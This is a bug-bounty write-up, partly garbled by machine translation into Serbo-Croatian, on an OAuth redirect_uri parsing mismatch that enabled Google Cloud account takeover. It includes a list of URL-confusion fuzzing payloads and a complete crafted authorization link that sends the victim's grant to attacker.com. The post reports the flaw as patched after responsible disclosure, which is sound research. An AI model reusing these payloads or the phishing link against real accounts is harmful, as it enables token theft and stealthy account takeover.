TL;DR
Ključne reči: drOvaj članak prolazi kroz jedinstvenu ranjivost preuzimanja OAuth naloga koju sam nedavno otkrio koja utječe na nekoliko Google usluga.redirect_uri
OAuth parametar. ranjivost omogućuje napadačima da pretvaraju legitimne aplikacije kao što je Google Cloud SDK klijent i ispuštaju token pristupa na server koji kontrolira napadač, omogućavajući pristup pozadini na račun žrtve - sa gotovo nultim vidljivošću za žrtvu.
Note:Prva četiri odeljka pokrivaju opću pozadinu o OAuth-u, riziku od curenja žetona i zbunjenosti analiziranja URL-a. Ako ste već upoznati s ovim pojmovima, slobodno skočite direktno uSection 5: Google Cloud Account Takeover Case.
1. uvod
OAuth 2.0 omogućuje aplikacijama trećih strana da pristupe korisničkim podacima bez obrade lozinki direktno tako što će im autorizacioni server (npr. Google) generisati token koji će aplikacija treće strane koristiti da zatraži korisničke podatke ili izvrši radnje u njihovo ime.
Ali ako jeredirect_uri
parametar nije validiran kirurškom preciznošću, napadači mogu pretvarati pouzdane aplikacije i prevariti korisnike u curenje njihovih tokena pristupa.
U ovom članku, proći ću kroz kako mi suptilna greška analize URL-a omogućuje da uradim upravo to - preko više Google usluga - s dubokim uronjenjem u slučaj Google Cloud.
Kako OAuth radi
Iako je OAuth prilično složen protokol koji zaslužuje niz članaka koje treba u potpunosti shvatiti, evo pojednostavljenog pregleda:
-
Authorization Request: The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes).
-
Redirect with Grant: After approval, the server redirects the user back to a predefined
redirect_uri
with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). -
Request user data: The client app uses the token to access the user’s protected data from the resource server.
Da biste vizualizirali stvari, previše pojednostavljeni diagram ispod pokazuje da se prijavim na Medium koristeći moj Google nalog:
Note:U mnogim slučajevima, autorizacijski server i server resursa su isti.
OAuth Token iscjedak
Gledajući na gornji dijagram, najtrikiji deo je korak 5, gde autorizacioni server šalje generisani token natrag u aplikaciju klijenta.redirect_uri
znati gde poslati token.
Ako ovaj parametar nije pravilno validiran, napadač može pretvarati da je aplikacija klijenta (npr. Medium) i prevariti autorizacijski server da im pošalje korisnikov token pristupa – iako, s korisničke perspektive, sve izgleda legitimno.
Tipično je,redirect_uri
je validiran u određenoj mjeri – ne možete samo baciti bilo koji slučajni URL na autorizacioni server. Međutim, metode validiranja variraju kroz implementacije ovisno o poslovnim potrebama, a greške u ovom procesu mogu biti iskorišćene.
Neki zajednički obrasci:
- Striktno podudaranje: Točno podudaranje niza sa prethodno registriranim URI-jem.
- Wildcard ili Path Prefix Matching: Omogućavanje URI kao što su https://example.com/* ili https://*.example.com.
- Loopback adrese: Uobičajene u desktop aplikacijama, gde lokalni server rješava preusmjeravanje.
URL Parsing zbunjenost
PremaUslovi korišćenja RFC 3986, standardni URL ima sledeću strukturu:
scheme://username:password@host:port/path?query#fragment
Svaka komponenta igra određenu ulogu:
-
scheme
: in web context it’s usually the protocol (e.g., http) -
username:password
: user credentials -
host
: the domain or IP address (e.g., google.com) -
port
: optional port number (e.g., 443) -
path
: the specific resource or endpoint (e.g., /login) -
query
: key-value pairs of parameters -
fragment
: a client side page reference
Note: host:port
upućuje se na kaoauthority, username:password
Oni se odnose na kaouserinfo
Na prvi pogled, to izgleda jednostavno – ali mogu se pojaviti suptilne razlike u analizi, posebno kada se rješavaju slučajevi s granicama.
Programeri mogu pretpostaviti da je URL analiziran na dosljedan, standardizovan način u svim bibliotekama, međutim, opsežna istraživanja o URL analizatorima dokazala su potpuno suprotno od toga.
-
OAuth redirect URI validation
-
SSRF prevention
-
Proxy or CDN routing
Ispod je primer kada se jedan URL tretira drugačije kroz tri različita parsera
Iako ovaj članak neće duboko uroniti u URL analizu napada zbunjenosti, oni su temeljito istraženi u 2017 Black Hat papiru.Nova era SSRF-a – iskorištavanje URL parsera u trendovnim programskim jezicima
Google Cloud nalog preuzimanje slučaj
Ako ste ikada koristili Google Cloud ranije, verovatno ste naišli nagcloud
CLI alat – moćan alat za komandnu liniju koji se koristi za upravljanje Google Cloud resursima. Među ostalim funkcijama, omogućava korisnicima da se autentificiraju koristeći svoje Google naloge kroz protok OAuth koji se temelji na pregledniku.
Evo kako funkcioniše:
-
The user runs
gcloud auth login
-
gcloud
spawns a local http server on a dynamic port (e.g., http://localhost:50000) -
gcloud
opens a browser window directing the user to a Google OAuth authorization URL withredirect_uri
set to the local server address -
The user authenticates and consents to the requested scopes
-
Google redirects the user to
redirect_uri
containing the authorization code -
gcloud
exchanges the authorization code for an access token -
gcloud
uses the access token to perform actions on the user’s Google cloud account
Za ovaj tok za rad, Google pouzdanje određene URL-ove (npr, http://localhost) za native aplikacije, jer su oni smatraju dovoljno sigurne za lokalnu upotrebu i su bele liste interno.
A. Identifikacija površine napada
Nakon što je vidio alocalhost
Koristi se kaoredirect_uri
, moj prvi instinkt je bio da ga zamenim127.0.0.1
i[::1]
ovo je ključan korak jer potvrđuje da se URL-ovi zapravo analiziraju i uspoređuju interno, umjesto da imaju neke osnovne provjere kao što su:
if re.match(r"^http://localhost:\d{1,5}/$", url) is None:
return False
Dakle, ovdje imamo dvije važne stvari koje se odvijaju:
-
The provided
redirect_uri
gets parsed and validated internally by Google’s backend. -
After a successful login and user consent, users get redirected to
redirect_uri
in the browser.
To znači da imamo dva URL analizatora na mestu, onaj koji koristi Google backend, i analizatora koji koristi naš preglednik (Chrome u mom slučaju), tako da, osim ako su ova dva analizatora identična, bilo kakva nedoslednost između njih može se iskoristiti za curenje OAuth odobrenja na server koji kontrolira napadač.
Cilj je sada jasan, moramo napraviti URL koji se analizira drugačije između dva analizatora, na način da varamo Googleov backend analizator da ga analizira kao adresu za povratak, dok Chromeov analizator analizira kao globalnu internet adresu.
Činjenica da imamo vrlo ograničeno znanje o Google backend i koju biblioteku koriste interno za analizu URL-ova, znači da smo ostali samo s pristupom crne kutije.
B. Fuzzing za pobedu
Ono što sam naredio je da napišem Python skript koji će mutirati različite URL-ove primjenom različitih trikova kodiranja, alternativnih notacija i slučajeva granica kako bih vidio koji su prošli Googleovu validaciju backend-a, ali su drugačije tumačeni od strane Chrome-a, skript je koristio nekoliko trikova kao što su:
- Zaštita podataka: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1]
- Privatne IP adrese: 10.0.0.5, 192.168.5.3, 127.10.0.1
- Različite sheme: file://, ldap://, ftp://, javascript://, data://
- CRLF injekcija: %0D%0A
- Hostname/IP kao korisnička informacija: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com
- Vrlo duge URL adrese: http://AAAAAA...@127.0.0.1
- DNS dodatak: 127.0.0.1.attacker.com
- Zlonamerne URL adrese: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1
- Upit/fragment injekcije: Inject extra ? , & ili # prije/nakon @
- DNS rebinding (testirano ručno)
Nakon što sam neko vrijeme pokrenuo scenarij i, na moje iznenađenje, jedan od generisanih slučajeva ruba uspio je izazvati tačnu razliku koju sam tražio, moja reakcija je bila:
Uspešan edge slučaj pronađen je bio:
http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/
koji se može dodatno pojednostaviti na:
http://[::1]@[::1]@attacker.com/
Kada pokušate analizirati ovaj URL pomoću Chrome-a, dobijamo sledeći rezultat:
Zanimljiv deo ohttp://[::1]@[::1]@attacker.com/
je da je to malformirani URL za početak.@
karakter je rezerviran za razdvajanjeuserinfo
od thehostname
Chrome ublažava ovaj krajnji slučaj tako što kodira sve nerezervirane znakove, kao i ranije pojave rezerviranih znakova, i koristi samo najnoviju verziju@
kao delimitator. Ovo osigurava da bilo koji@
prije nego što je posljednji URL-kodiran.
Nasuprot tome, na osnovu eksperimentalnog testiranja sa varijacijama korisnog opterećenja, čini se da Googleov backend analizator nije pravilno kodirao prethodne pojave rezerviranih znakova i umjesto toga koristio prvu pojavu@
kao delimiter. nakon podjele na@
Vjerojatno je parser izvukaouserinfo
ihostname
iz fiksnih pozicija, potpuno ignorirajući trailingattacker.com
.
Važno je napomenuti da je ovo ponašanje izazvano isključivo kada se koristi IPv6.http://127.0.0.1@127.0.0.1@attacker.com
) je radio kao što se očekivalo, naglašavajući da je nedoslednost bila specifična za IPv6 analizu logike.
C. Postavljanje svega zajedno
Sada je naš vektor napada postao jasan, možemo se pretvaratigcloud
cli alat i prevari korisnika da autentificira misli da se autentificiraju nagcloud
.
Napad se odvija ovako:
- Kreirajte zlonamjeran zahtjev za autorizaciju OAuth-a i pošaljite njegovu vezu (kodni blok ispod) žrtvi
- Žrtva je predstavljen sa potpuno legitimne OAuth protok autentifikacije za Google Cloud SDK klijent (Slika 9)
- Žrtva se prijavljuje i pristaje na navedene dozvole (obuhvat)
- Žrtva se preusmjerava na naš zlonamjerni host, sa njihovim generisanim OAuth grantom
- Koristimo OAuth grant da izvršimo API pozive na račun žrtve u njihovo ime
https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256
Ispod je vizualizacija predloženog toka napada
S korisničke perspektive, to bi izgledalo kao da se autentificiraju ugcloud
, čak i za Google autorizacijski server, izgledalo bi kao da korisnik pokušava da se autentifikuje ugcloud
, tako da efikasno varamo obje strane autentifikacije da misle da je to legitimni proces autentifikacije dok se konačni token pristupa curio u naš zlonamjerni host.
Izlječeni token pristupa će nam učinkovito omogućiti neograničen pristup preko računa žrtava, što će nam omogućiti da izvršimo čak i vrlo povlaštene radnje.
Ono što je ovaj napad učinilo još opasnijim je:
-
Stealth: official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on Third-party apps & services page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user.
-
Trust: official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal
gcloud
application might request (we can only request scopes that are available but not actively requested)
Kao što je navedeno na početku ovog članka,gcloud
je samo jedna ranjiva aplikacija, ispod su neke druge aplikacije koje sam pronašao da su ranjive:
-
Google Drive Desktop Client
-
Firebase Desktop Client
-
Windows Mail (3rd-party app)
Google je brzo odgovorio, priznao ozbiljnost u roku od 72 sata i dodelio nagradu visoke ozbiljnosti.
6. zaključak
Ovo istraživanje naglašava kako suptilna neusklađenost analize URL-a može u potpunosti ugroziti sigurnost čitavog toka autentifikacije koji se ponavlja u različitim aplikacijama i uslugama, čak i kada ga implementira kompanija koja je zrela i sigurnosno svesna kao što je Google.
Iako je OAuth zreli i dobro proučavani protokol, njegova sigurnost uvelike ovisi o sitnim detaljima implementacije koji variraju između platformi, biblioteka i okruženja.To je podsjetnik da u sigurnosti, preciznost je bitna: čak i sitne nedosljednosti između komponenti mogu biti dovoljne da prekinu kritične pretpostavke povjerenja.
Google je otada ispravio ranjivost nakon odgovornog otkrivanja.
Hvala na čitanju!